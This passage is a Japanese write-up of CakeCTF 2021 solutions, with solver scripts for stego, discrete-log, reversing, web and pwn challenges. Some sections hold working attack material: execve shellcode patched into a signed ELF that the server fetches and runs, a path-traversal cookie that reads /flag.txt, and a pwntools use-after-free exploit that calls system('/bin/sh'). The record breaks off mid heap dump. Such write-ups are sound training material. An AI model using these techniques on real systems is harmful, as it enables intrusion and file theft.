CakeCTF 2021に、一人チームrotation
で参加しました。そのwrite-up記事です。なお本コンテストは、昨年開催のInterKosenCTF 2020の後継のようです。
問題等はtheoremoon/cakectf-2021-publicで公開されています。
コンテスト概要
2021-08-28(土) 08:00:00 +09:00 – 2021-08-29(日) 20:00:00 +09:00 の期間でした。 他ルールはAboutより引用:
CakeCTF 2021 is a Jeopardy-style Capture The Flag competition hosted by yoshiking, theoremoon, and ptr-yudai. There will be some challenges of pwn, web, rev, crypto, and so on. These challenges range in difficulty from beginner to intermediate level.
結果
正の得点を得ている157チーム中、1366ptsで30位でした。
環境
Windows+WSL2(Ubuntu)で取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19043.1165] c:\>wsl -l -v NAME STATE VERSION * Ubuntu Stopped 2
他ソフト
- IDA(Free版): Version 7.6.210507 Windows x64
- Bz: Verino 1.9.8.5
WSL
$ cat /proc/version Linux version 5.10.16.3-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Apr 2 22:23:49 UTC 2021 $ uname -srvmo Linux 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86_64 GNU/Linux $ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.5 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.5 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic $ python3.8 --version Python 3.8.0 $ python3.8 -m pip show pip | grep Version Version: 21.2.4 $ python3.8 -m pip show pycryptodome | grep Version Version: 3.10.1 $ python3.8 -m pip show pwntools | grep Version Version: 4.6.0
解けた問題
[welcome] Welcome
Get the flag in Discord
Discordのannouncementチャンネルに、開始直後に以下の発言が書き込まれました:
ptr-yudai — Today at 8:00 AM Go! CakeCTF{Let_them_eat_CakeCTF2021!}
そういうわけでフラグを入手できました: CakeCTF{Let_them_eat_CakeCTF2021!}
[misc, warmup] Break a leg
ganbatte!
配布ファイルを確認すると、chall.py
とchall.png
がありました。chall.py
は以下の内容です:
from PIL import Image from random import getrandbits with open("flag.txt", "rb") as f: flag = int.from_bytes(f.read().strip(), "big") bitlen = flag.bit_length() data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] img = Image.new("RGB", (256, 256)) img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)]) img.save("chall.png")
画像の各ピクセルについて、rgbの最下位ビットにフラグの情報を含めていることがわかりました。最下位ビットにも乱数の影響が及んでいますが、画像サイズがフラグ長よりも大きいのでビット論理積を取っていけばフラグを復元できそうです。ところで40分くらいハマっていたことなんですが、flag.bit_length()
は8の倍数とは限りません。8の倍数だと思いこんでいてひたすらバグらせていました。最終的に、フラグ長をビット単位で探索する、以下のコードを書きました:
#!/usr/bin/env python3.8 from PIL import Image from Crypto.Util.number import long_to_bytes img = Image.open("chall.png") data = [] for rgb in img.getdata(): for element in rgb: data.append(element & 1) assert len(data) == 256*256*3 for expected_bits in range(7*8, (64*8)): current_bits = [1 for x in range(expected_bits)] for (i, d) in enumerate(data): current_bits[i%len(current_bits)] &= d current_bytes = [] accumlated = 0 for (i, b) in enumerate(current_bits): accumlated |= (b<<i) current_flag = long_to_bytes(accumlated) if b"CakeCTF" in current_flag: print(expected_bits, current_flag)
これを15秒ほどかけて実行してフラグを入手できました: CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)}
[crypto, warmup]discrete log
People conclude discrete log is hard problem up to now. discrete-log_57019b304dd62acf62b04491f0ebd584.tar.gz
配布ファイルを確認すると、task.py
とoutput.txt
がありました。task.py
は以下の内容です:
from Crypto.Util.number import getPrime, isPrime, getRandomRange def getSafePrime(bits): while True: p = getPrime(bits - 1) q = 2*p + 1 if isPrime(q): return q with open("flag.txt", "rb") as f: flag = f.read().strip() p = getSafePrime(512) g = getRandomRange(2, p) r = getRandomRange(2, p) cs = [] for m in flag: cs.append(pow(g, r*m, p)) print(p) print(g) print(cs)
output.txt
は上記コードの出力結果のようです。指数法則よりg^(r*m) == (g^r)^m == (g^m)^r
であるため、それを利用してr
かg^r
を計算するのかと検討をつけました。
最初はフラグ先頭がCで始まることを利用するのかと考えていましたが、離散対数問題を解くか、mod上でのm乗根を求める必要があり、この方法では解けなさそうです。1時間ぐらい考えた結果、フラグ文字列CakeCTF
中のC
とF
を暗号化した結果を使えば(g^r)^3
を計算できることをひらめき、mod上での3乗根は求められるらしいことが分かっていたので、以下のコードを書きました:
#!/usr/bin/env python3.8 # https://stackoverflow.com/questions/6752374/cube-root-modulo-p-how-do-i-do-this # 元コードはPython2のコードだったので、print関数と整数除算箇所を変更 def cuberoot(a, p): if p == 2: return a if p == 3: return a if (p%3) == 2: return pow(a,(2*p - 1)//3, p) if (p%9) == 4: root = pow(a,(2*p + 1)//9, p) if pow(root,3,p) == a%p: return root else: return None if (p%9) == 7: root = pow(a,(p + 2)//9, p) if pow(root,3,p) == a%p: return root else: return None else: print("Not implemented yet. See the second paper") with open("output.txt") as f: p = int(f.readline()) g = int(f.readline()) cs = list(map(lambda s: int(s), f.readline().rstrip()[1:-1].split(", "))) # len=41 # 0123456 # CakeCTF c_C = cs[4] c_F = cs[6] g_r_3 = c_F * pow(c_C, -1, p) % p g_r = cuberoot(g_r_3, p) assert pow(g_r, ord("F"), p) == c_F for c in cs: for x in range(0x20, 0x7F): if pow(g_r, x, p) == c: print(chr(x), end="") print()
これを実行してフラグを入手できました: CakeCTF{ba37a0f409ef3ec23a6cffbc474a1cef}
[reversing, warmup] nostrings
CTF / rev / warmup --> strings nostrings_13a90705747fd7bf592b4763db42765e.tar.gz
配布ファイルを確認すると、ELF実行ファイルのchall
がありました:
$ file * chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Buid
IDAで見てみると、シンボルはstrippedな状態とはいえ、標準ライブラリが動的リンクされているのでとても読みやすいものでした。最近のIDAはFree版でもx64バイナリなら逆コンパイルできるので、逆コンパイルして適宜リネーム等施したものが以下の内容になります:
__int64 __fastcall sub_11A8() { __int64 v0; // rbp int correct; // [rsp-60h] [rbp-68h] int i; // [rsp-5Ch] [rbp-64h] char input[72]; // [rsp-58h] [rbp-60h] BYREF unsigned __int64 canary; // [rsp-10h] [rbp-18h] __int64 v6; // [rsp-8h] [rbp-10h] v6 = v0; canary = __readfsqword(0x28u); printf("flag: "); __isoc99_scanf("%58s", input); correct = 1; for ( i = 0; i <= 57; ++i ) { if ( input[i] == 127 ) { puts("^o^"); return 1LL; } correct *= g_byteArray[127 * input[i] + i] == input[i]; } if ( correct ) { puts(".O. < i+! +o6 noh"); puts(">v< this is the flag"); } else { puts("-_- < flag in the string..."); } return 0LL; }
つまり、58文字の入力を与えて、すべての文字についてg_byteArray[127 * input[i] + i] == input[i]
が成立するものがフラグになります。カーソル位置をグローバル変数の先頭に合わせた状態で、IDAウィンドウの下の方にあるIDCコマンド入力欄でget_bytes(ScreenEA(), 127*256, 0)
を実行して取得すると、グローバル変数内容をsolverへ持っていくのが簡単です。これらを使って以下のコードを書きました:
#!/usr/bin/env python3.8 # グローバル変数の内容 data = b"(32512バイト分あるので省略)" for i in range(58): for c in range(0x20, 0x7F): if data[127*c+i] == c: print(chr(c), end="") print()
これを実行してフラグを入手できました: CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}
leet表記から戻すとthe best place to hide for flag is in for flag forest
でしょうか。
ちなみにstringsを試すと偽フラグがたくさん出てきます:
FakeCTF{actually_this_is_not_the_flag_please_don_t_submit} CokeCTF{the_coke_is_so_tasty_but_not_compatible_with_cake} DoggoCTF{the_doggo_is_so_cute_i_know_and_you_may_know_too} CateCTF{do_you_know_the_name_of_the_cat_who_eating_a_cake} BlablaBla...Wowow....Wawooooooooo...Nyarrrrrrrrn....Cooook FlagCTF{so_as_a_lot_of_flags_here_one_of_them_is_a_flag??} CTFCTF{who_were_defined_the_standard_format_of_the_flag??} MiscCTF{in_fact_im_so_tired_to_make_a_lot_of_fake_flags_an nd_there_number_of_uncreated_flag_is_waiting_for_me_:sob:} CakeCTF}this_is_not_a_flag_because_dont_follow_the_format{ The_quick_brown_fox_jumps_over_the_lazy_dog_while_the_cat_ eating_a_so_tasty_cake_btw_why_this_is_the_cakectf_qurious stylus_cartooned_unregenerate_divisions_respites_broomstic ruckuses_evinced_anyhow_mosques_terraces_estrogens_tomorro Cheever{s_Javanese_washbowl_booklets_surfaces_allusions_os infid315_0v3rch4rg35_h34p_nigg45_guid3b00k5_b3570wing_p4vi in3xp3n5iv31y_imp3cc4b1y0v3r_f13ck_knigh7_cynici5m5_0ffby} Su54nn3{R3ich_bubb1y_bip4r7_0f_g041_5ick_G3n3r41_juni0r5_x Hemingway_recording_Eisenhower_stingray_scammers_abacuses} 5p0n50r5_734_347_c1053_c41m_m30w_innu_quick_70find_c4k3_in n0ug37_10p35_kick574nd_35quir3_4t_74ugh7y_b14ckh411_gin5_c r34d_undying_45p3rg3s_inv41id_p3rm347_p5yc03cc_in7r4p3r50n ceilings_area_prepares_exterminations_sidebar_Zubeneschama d00r{b04t_4nd_c7o_c0mmu73_fri3nd5hip_mur415_b05ch_h3uri57i Beneluxs_Krasnoyarsk_jamming_preventative_batters_hangdog} hums_Xhosa_unutterable_corset_splinted_vacationer_suspicio 3mbr0i15_4v3r4g3d_pr35ump7i0n5_Sc0775d413_v4n4dium5_d35014 finalize_protrusions_talkative_ingested_pithily_hydrae_Pet Cooper{Vincent_telecommute_quorum_personalitys_tails_troll inexplicable_tags_mobilization_christenings_wive_tangs_cop 0v3r4chi3v3r5_J4ni5_r3c3p7iv3n355_F4i5414b4d_1ik3n3555_5hu needinesss_hemmed_stargazer_simplex_transmigrate_Naismith} Ednas_Livingstons_terminals_subsystem_upshot_Fibonaccis_el burri705_p33v35_5p0n74n30u51y_0rch357r4_V41h41145_Guin3v3r baxters_diaphragms_Exodus_bunted_owes_tomcats_sagas_dickie Ceo_Card_overbalances_cursorily_clanking_celebrated_rummag forsaking_slits_delphiniums_ooze_fricasseed_enfolded_yearb lubricators_Amigas_maws_middleweights_scaffold_radically_j souls_Force_Roku_inheritances_acolyte_onionskins_submersed enlivens_crotch_brocades_collides_telescopes_blooded_papoo 5wif71y_bi0ch3mi57_C075w01d_N0xz3m4_c0c00n3d_570dgin3555_f Nicolas_arduously_send_tightropes_lighted_feathers_ancient Varanasi_Navahoes_supervisions_heel_cynosure_warily_whoope Cages{Bamako_dimness_dreamland_cambering_maelstroms_Ladoga promos_excerpt_siblings_academician_intestines_moos_exalta Ci{sepulchers_willfully_smokiness_deputy_cuisine_peppering fibbed{unequally_synthetics_mock_Ahmads_leashed_solicitati lines_recopying_directing_trusted_gangs_Alexs_casual_sleaz und3rn347h5_D31phinu5_pr05p3c75_c4rj4ck3r5_g3n0m3_m0i573n5 new_Danishs_Olivia_calfskins_hones_thigh_stickups_bargaine pr0f355i0n5_1imp375_pr3cipi74735_B4c0n5_c0nc473n473d_p0r74 accidentally_air_Afrikaanss_equivalent_tarpons_storeroom_C game_Toneli_suspected_Eloys_reimposed_limited_treks_Blair} poshest{touchstone_Marchs_wealthy_frappe_noised_runabout_l Mirfak_wagons_Christianitys_tenser_reconquer_Akbars_Stendh griddlecakes_cigaret_Apia_rennets_Hephaestuss_chrysalides} score{Pythias_epee_renovated_alkalies_protozoa_physiothe_s 73n50r5_L03w5_4r3n7_5id31igh7_5h4110w5_3mb4rr455m3n75_0unc Saki{despicable_fleets_kleptomanias_platooning_tearjerkers demitasses_covers_stile_variate_proprietorships_namesakes} pleasant_Toscas_gulag_P_jiggle_basements_Aries_minicams_in scientific_MacBride_kneeled_vascular_Eugenia_fishwifes_fla Opel{comparability_potters_perfecter_gurgle_geeks_lighting fascinating_toot_sitty_en_guel_n_kill_em_ll_t_chop_suitabl minute{shrouding_flambeing_Dotsons_kettledrums_mastoid_Rot cares{fluttering_segments_trumpeters_mumble_vengeful_subco uncompromisable_gut_Kewpies_escaroles_watercresss_unsparin dizzies{inelegant_pocket_appeasements_Langs_pawnsh_gibbet} frizzles_Garlant_yarbook_cardinal_carats_palpable_jaws_mul haxe_tarnishs_Putnam_fusss_bull_forum_intrinsically_dishon browbeating_layers_ciabattas_thief_Murasaki_unfruitful_kek boycotted_optimisms_nematode_coolweight_over_assign_cell_s dumble{yahoo_limited_offish_beautified_distort_nipped_tran prospectuses_Puseys_Loafer_i_dozes_hominoid_Belgrades_endc ciders_Robbinss_pantheism_rational_feasibilitys_Guthrie_st lakefront_Closures_mounds_taillights_insouciant_foregoes_s wafers{preordained_manic_breading_vibrato_advisers_registe sidekicks_oink_dispersing_unrehear_Derby_pain_sadnesss_ent b4rb3r5h0p_5mi7hy_4pr0p05_imm0r7415_wh0_m0n3y_r0y417y_c4rp bans{candle_but_Tulsidass_Charlenes_estimable_peps_calluse analyzers_gybing_pool_binnacle_Rambo_yeshivas_Anitas_tooth Kenya_overreact_panelist_Caras_conifers_agilitys_isolated} Dow_noughts_Mammons_discounting_fonts_pinioning_electricit exalting{trademarked_complete_blueprint_Leonard_modified_o venally_todd_Irelands_amazon_endless_median_Horn_lanker_so v3rb5_WiFi_4b04rd_ch4mmy_510p5_5id357r0k35_g0rg35_ici3r_7r foresails_Damien_waits_Inuktituts_luridnesss_logarithms_su retrorockets_Amerindians_refuting_Comos_butternuts_instant Alice_Cranes_enthusiast_irresponsible_ruffled_bonds_commen energies_received_rainfalls_meet_rakes_grounders_unhooks_b banisters_Roy_Yaccs_Merediths_burs_backwaters_hum_Wilberts Zipcode{applicability_petticoat_Biscayne_transliterates_pu matchless_hydrants_Scheherazade_phlegms_actings_encores_de d3b3n7ur35_Burn5_M31vi113_hir3d_und3r5id35_inv3r531y_gund} LastCTF{the_flag_has_stopped_here_secret_must_in_there...}
[reversing] Hash browns
Would you mind making the finest hash browns, chef?
配布ファイルを確認すると、ELF実行ファイルのhash_browns
がありました:
$ file hash_browns hash_browns: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d70f273e3a97da3547c88d9f115a6ece58130bbc, for GNU/Linux 3.2.0, not stripped
IDAで逆コンパイルして、適宜リネーム等を施したものが以下の内容になります:
int __cdecl main(int argc, const char **argv, const char **envp) { int x; // [rsp+1Ch] [rbp-3B4h] BYREF int y; // [rsp+20h] [rbp-3B0h] BYREF int i; // [rsp+24h] [rbp-3ACh] int hashIndex; // [rsp+28h] [rbp-3A8h] int loopCount; // [rsp+2Ch] [rbp-3A4h] char strArrayForMd5[404]; // [rsp+30h] [rbp-3A0h] BYREF char v10[8]; // [rsp+1C4h] [rbp-20Ch] BYREF char strArrayForSha256[404]; // [rsp+1D0h] [rbp-200h] BYREF char v12[8]; // [rsp+364h] [rbp-6Ch] BYREF char dataForMd5[2]; // [rsp+376h] [rbp-5Ah] BYREF char dataForSha256[2]; // [rsp+378h] [rbp-58h] BYREF char strMd5Digest10Bytes[11]; // [rsp+37Ah] [rbp-56h] BYREF char strSha256Digest10Bytes[11]; // [rsp+385h] [rbp-4Bh] BYREF unsigned __int8 md5Digest[16]; // [rsp+390h] [rbp-40h] BYREF unsigned __int8 sha256Digest[40]; // [rsp+3A0h] [rbp-30h] BYREF unsigned __int64 canary; // [rsp+3C8h] [rbp-8h] canary = __readfsqword(0x28u); qmemcpy(strArrayForMd5, "0d61f8370c", sizeof(strArrayForMd5)); strcpy(v10, "a2"); qmemcpy(strArrayForSha256, "ca978112ca", sizeof(strArrayForSha256)); strcpy(v12, "74"); if ( argc > 1 ) { loopCount = strlen(argv[1]) >> 1; if ( loopCount == 37 ) { for ( i = 0; i < loopCount; ++i ) { f(i, loopCount, &x, &y); if ( x < 0 ) x += loopCount; dataForMd5[0] = argv[1][2 * i]; dataForMd5[1] = 0; dataForSha256[0] = argv[1][2 * i + 1]; dataForSha256[1] = 0; md5(dataForMd5, md5Digest); sha256(dataForSha256, sha256Digest); for ( hashIndex = 0; hashIndex <= 4; ++hashIndex ) { sprintf(&strMd5Digest10Bytes[2 * hashIndex], "%02x", md5Digest[hashIndex]); sprintf(&strSha256Digest10Bytes[2 * hashIndex], "%02x", sha256Digest[hashIndex]); } if ( strcmp(&strArrayForMd5[11 * i], strMd5Digest10Bytes) || strcmp(&strArrayForSha256[11 * x], strSha256Digest10Bytes) ) { puts("Too spicy :("); return 0; } } puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients."); return 0; } else { puts("Too sweet :("); return 0; } } else { printf("Usage: %s <flag>\n", *argv); return 0; } }
シンボル名が残っているため、md5
, sha256
関数は名前から処理内容が推測できます。f
関数だけは何をするかわからない名前ですが、処理を見ると拡張ユークリッド互除法で計算する関数と分かります:
// 実質exgcd int __fastcall f(int a, int b, int *pX, int *pY) { int gcd; // eax if ( b ) { gcd = f(b, a % b, pY, pX); *pY -= a / b * *pX; } else { *pX = 1; *pY = 0; return a; } return gcd; }
これらの点から、以下の処理を行うプログラムだと分かりました:
- コマンドライン引数について、0-index開始として偶数indexの1文字からMD5を、奇数indexの1文字からSHA256を計算する
- 各ハッシュ値の先頭5バイトを16進数文字列表記にする
- MD5側はループカウンタを使って、SHA256側はexgcd結果の
x
を使って、グローバル変数のものと一致するかを検証する
そういうわけで、1文字ずつ検索する以下のプログラムを書きました:
#!/usr/bin/env python3.8 from hashlib import md5, sha256 def exgcd(a, b): if b: (gcd, y, x) = exgcd(b, a%b) y -= a//b * x return (gcd, x, y) else: return (a, 1, 0) # IDC>get_bytes(0x20A0, 11*37, 0) md5_list = "0d61f8370c\x008ce4b16b22\x000d61f8370c\x008006189430\x0084c4047341\x00d956797521\x009371d7a2e3\x0043ec3e5dee\x00336d5ebc54\x00336d5ebc54\x004c761f170e\x0084c4047341\x00b14a7b8059\x009371d7a2e3\x004c761f170e\x0044c29edb10\x00b9ece18c95\x00b9ece18c95\x00f186217753\x00f186217753\x004c761f170e\x0084c4047341\x00518ed29525\x009371d7a2e3\x0026b17225b6\x00336d5ebc54\x00336d5ebc54\x003389dae361\x0084c4047341\x00d956797521\x009371d7a2e3\x00a87ff679a2\x001679091c5a\x00c4ca4238a0\x008f14e45fce\x00c9f0f895fb\x00a87ff679a2\x00"[:-1].split("\x00") # IDC>get_bytes(0x2240, 11*37, 0) sha256_list = "ca978112ca\x003f79bb7b43\x007ace431cb6\x00d2e2adf717\x0074cd9ef9c7\x00c4694f2e93\x002c624232cd\x00559aead082\x007ace431cb6\x00d4735e3a26\x00ba5ec51d07\x00684888c0eb\x007902699be4\x007ace431cb6\x00148de9c5a7\x0074cd9ef9c7\x0032ebb1abcc\x0032ebb1abcc\x003e23e81600\x00e632b7095b\x007ace431cb6\x00d2e2adf717\x00ef2d127de3\x003973e022e9\x00c4694f2e93\x00021fb596db\x007ace431cb6\x00380918b946\x0074cd9ef9c7\x00a318c24216\x0074cd9ef9c7\x00380918b946\x0074cd9ef9c7\x00ba5ec51d07\x00380918b946\x00c4694f2e93\x00d10b36aa74\x00"[:-1].split("\x00") loop_count = 37 flag_range = range(0x20, 0x7F) for i in range(loop_count): (g, x, y) = exgcd(i, loop_count) if x < 0: x += loop_count for c in flag_range: d = md5(bytes([c])).hexdigest()[:10] if d == md5_list[i]: print(chr(c), end="") break else: raise Exception("Not found MD5") for c in flag_range: d = sha256(bytes([c])).hexdigest()[:10] if d == sha256_list[x]: print(chr(c), end="") break else: raise Exception("Not found SHA256") print()
これを実行してフラグを入手できました: CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}
[reversing] ALDRYA
I'm scared of executing a malicious ELF file. That's why I invented this new ELF-verify system named ALDRYA. nc misc.cakectf.com 10029
配布ファイルを確認すると、いくつかの形式がありました:
$ file * README.md: ASCII text aldrya: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-d sample.aldrya: data sample.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-d server.py: Python script, ASCII text executable
README.md
には、各種ファイルの使われ方と、フラグはサーバーのrootディレクトリに存在することが書かれていました:
# ALDRYA - CakeCTF 2021 `server.py` is running on the remote server. You can upload an ELF file and the server will execute the following command: $ ./aldrya <Your ELF> ./sample.aldrya `sample.aldrya` is the signature of `sample.elf`. You can test it like this: $ ./aldrya ./sample.elf ./sample.aldrya The flag exists somewhere on the root directory.
肝心要のaldrya
をIDAで開いて読んでみると、以下の処理を行っていることが分かりました:
- ELFファイルの先頭4バイトのシグネチャを検証
- ELFファイルのサイズが、ALDRYAファイルの先頭4バイトから計算した範囲に含まれていることを検証
- ELFファイルを256バイトごとのチャンクに区切って以下のアルゴリズムでハッシュ値を計算し、ALDRYAファイルに書かれた値と一致することを検証:
hash = 0x20210828
for b in chunk: hash = ror(hash ^ b, 1) # ror: 4バイトの右ロテート
- すべての検証が通ればELFファイルを実行
サイズ範囲の制限があるため、提供されているsample.elf
を改ざんしてシェルを実行させるのが簡単そうです。まずはシェルコードのバイト列の導出のために以下のコードを書きました:
#!/usr/bin/env python3.8 import pwn pwn.context.binary = "./sample.elf" # https://inaz2.hatenablog.com/entry/2014/07/04/001851 shellcode = pwn.asm(""" xor rdx, rdx push rdx mov rax, 0x68732f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+59] syscall push 60 pop rax xor rdi, rdi syscall """) for b in shellcode: print(f"{b:02x} ", end="") print()
これの出力内容でsample.elf
の開始アドレスである0x1060以降を書き換えました。あとはハッシュ値の検証箇所を突破するため、以下のコードを書いてハッシュ値のMSBを確認しながら、改ざん後ELFを1バイトずつ調整していきました:
#!/usr/bin/env python3.8 file_1 = "sample.elf" file_2 = "run_shell.elf" with open(file_1, "rb") as f: d1 = f.read() with open(file_2, "rb") as f: d2 = f.read() def calc_chunk(data, content_length = 256): offset = 0x1000 x = 0x20210828 for byte in data[offset : offset + content_length]: x ^= byte b = x & 1 x = (x >> 1) | (b << 31) return x offset = 0x60 # ここをシェルコードサイズの0x25から1バイトずつ増やして調整しました shellcode_length = offset + 0x54 print(hex(calc_chunk(d1, shellcode_length))) print(hex(calc_chunk(d2, shellcode_length))) if calc_chunk(d1) == calc_chunk(d2): print("Done!")
最終的に改ざん前後で以下の画像の内容になりました:
改ざん後ELFを使ってローカル実行すると、aldryaを突破してシェルを実行できることを確認できました。後はシェルコードをどこかにアップロードすれば準備完了です。server.py
にUse https://transfer.sh/ if you don't have your own server.
と書かれていたのでアドバイス通りそのサービスを利用しました。
後はncで接続して、改ざん後ELFファイルをダウンロードさせて実行させました:
> $ nc misc.cakectf.com 10029 URL: http://transfer.sh/get/1YtGGcD/run_shell.elf ls aldrya sample.aldrya server.py cd / ls bin boot dev etc flag-4c147adf5f7a18258f6709ed9402d902.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var cat flag-4c147adf5f7a18258f6709ed9402d902.txt CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}
プロンプトが出ていないので少し戸惑いましたが無事フラグを入手できました: CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}
[web, warmup] MofuMofu Diary
Would you like to see some mofu-mofu pictures? * The flag is located at /flag.txt
配布ファイルを確認すると、index.php
とutil.php
、他imagesディレクトリ以下に動物画像と説明テキストがありました。util.php
を見ると、クッキーに含まれる日時が古い場合には、クッキーに含まれるファイルパスを読み込んでくれることが分かりました(最初は日時の条件を反対に解釈していて20分ハマっていました):
<?php // 中略 $cache = json_decode($_COOKIE['cache'], true); if ($cache['expiry'] <= time()) { $expiry = time() + 60*60*24*7; for($i = 0; $i < count($cache['data']); $i++) { $result = $cache['data'][$i]; $_SESSION[$result['name']] = img2b64($result['name']); } $cookie = array('data' => $cache['data'], 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry); } return $cache['data']; // 中略 ?>
適当にアクセスしてクッキー内容を確認したりしながら、以下のように改ざんしたクッキーを用意しました:
In [59]: j Out[59]: {'data': [{'name': '../../../../../../../flag.txt', 'description': 'flag'}, {'name': 'images/01.jpg', 'description': 'test image'}], 'expiry': 0} In [60]: urllib.parse.quote(json.dumps(j)) Out[60]: '%7B%22data%22%3A%20%5B%7B%22name%22%3A%20%22../../../../../../../flag.txt%22%2C%20%22description%22%3A%20%22flag%22%7D%2C%20%7B%22name%22%3A%20%22images/01.jpg%22%2C%20%22description%22%3A%20%22test%20image%22%7D%5D%2C%20%22expiry%22%3A%200%7D'
改ざんしたクッキーを使ってブラウザアクセスすると、Base64エンコードされたフラグが手に入りました。それを復号します:
In [62]: base64.b64decode("Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==") Out[62]: b'CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}\n'
無事にフラグを入手できました: CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}
(leet表記から戻そうと思ったんですが、最後以外はanimals are honest unlike humans
でしょうけれど、最後は英単語は何でしょう……?)
[pwn, warmup] UAF4b
You don't dare to try learning Use-after-Free? nc pwn.cakectf.com 9001
ファイルの配布はなかったので、とりあえずnc接続してみました:
$ nc pwn.cakectf.com 9001 Today, let's learn how dangerous Use-after-Free is! You're going to abuse the following structure: typedef struct { void (*fn_dialogue)(char*); char *message; } COWSAY; An instance of this structure is allocated on the heap: COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY)); You can 1. Call `fn_dialogue` with `message` as its argument: cowsay->fn_dialog(cowsay->message); 2. Allocate and set `message` (This will never be freed): cowsay->mesage = malloc(17); scanf("%16s", cowsay->message); 3. Delete cowsay only once: free(cowsay); 4. See the heap around the cowsay instance Last but not least, here is the address of `system` function: <system> = 0x7fcce25e9410 1. Use cowsay 2. Change message 3. Delete cowsay (only once!) 4. Describe heap >
ものすごく丁寧な説明が表示されました。色々触っているうちに、開幕でDeleteすると、その後1回目のChange messageで入力した内容がfn_dialogueへ反映されること、2回めのChange messageで入力した内容は別のアドレスへ反映されることが分かりました。 そういうわけで、1回目でsystem関数のアドレスを入力し、2回めで/bin/shを書き込む以下のコードを書きました:
#!/usr/bin/env python3.8 import pwn pwn.context.log_level = "DEBUG" def solve(tube): tube.recvuntil(b"<system> = ") system_address = int(tube.recvlineS(), 16) print(hex(system_address)) tube.recvuntil(b'> ') tube.sendline(b"3") tube.sendline(b"2") tube.sendline(system_address.to_bytes(byteorder="little", length=8)) tube.sendline(b"2") tube.sendline(b"/bin/sh") tube.sendline(b"4") tube.sendline(b"1") tube.interactive() with pwn.remote("pwn.cakectf.com", 9001) as tube: solve(tube)
これを実行して、シェルを得ました:
$ ./solve.py [+] Opening connection to pwn.cakectf.com on port 9001: Done [DEBUG] Received 0x33 bytes: b"Today, let's learn how dangerous Use-after-Free is!" [DEBUG] Received 0x2dc bytes: b'\n' b"You're going to abuse the following structure:\n" b'\n' b' typedef struct {\n' b' void (*fn_dialogue)(char*);\n' b' char *message;\n' b' } COWSAY;\n' b'\n' b'An instance of this structure is allocated on the heap:\n' b'\n' b' COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY));\n' b'\n' b'You can\n' b' 1. Call `fn_dialogue` with `message` as its argument:\n' b' cowsay->fn_dialog(cowsay->message);\n' b'\n' b' 2. Allocate and set `message` (This will never be freed):\n' b' cowsay->mesage = malloc(17);\n' b' scanf("%16s", cowsay->message);\n' b'\n' b' 3. Delete cowsay only once:\n' b' free(cowsay);\n' b'\n' b' 4. See the heap around the cowsay instance\n' b'\n' b'Last but not least, here is the address of `system` function:\n' b' <system> = 0x7f3d3ee82410\n' b'\n' b'1. Use cowsay\n' b'2. Change message\n' b'3. Delete cowsay (only once!)\n' b'4. Describe heap\n' b'> ' 0x7f3d3ee82410 [DEBUG] Sent 0x2 bytes: b'3\n' [DEBUG] Sent 0x2 bytes: b'2\n' [DEBUG] Sent 0x9 bytes: 00000000 10 24 e8 3e 3d 7f 00 00 0a │·$·>│=···│·│ 00000009 [DEBUG] Sent 0x2 bytes: b'2\n' [DEBUG] Sent 0x8 bytes: b'/bin/sh\n' [DEBUG] Sent 0x2 bytes: b'4\n' [DEBUG] Sent 0x2 bytes: b'1\n' [*] Switching to interactive mode [DEBUG] Received 0x15 bytes: b'[+] Cowsay is deleted' [+] Cowsay is deleted[DEBUG] Received 0x52 bytes: b'\n' b'1. Use cowsay\n' b'2. Change message\n' b'3. Delete cowsay (only once!)\n' b'4. Describe heap\n' b'> ' 1. Use cowsay 2. Change message 3. Delete cowsay (only once!) 4. Describe heap > [DEBUG] Received 0x412 bytes: b'Message: 1. Use cowsay\n' b'2. Change message\n' b'3. Delete cowsay (only once!)\n' b'4. Describe heap\n' b'> Message: 1. Use cowsay\n' b'2. Change message\n' b'3. Delete cowsay (only once!)\n' b'4. Describe heap\n' b'> \n' b' [ address ] [ heap data ] \n' b' +------------------+\n' b'0x55b5e8d5b290 | 0000000000000000 |\n' b' +------------------+\n' b'0x55b5e8d5b298 | 0000000000000021 |\n' b' +------------------+ cowsay (freed)\n' b'0x55b5e8d5b2a0 | 00007f3d3ee82410 | <-- fn_dialogue (= system)\n' 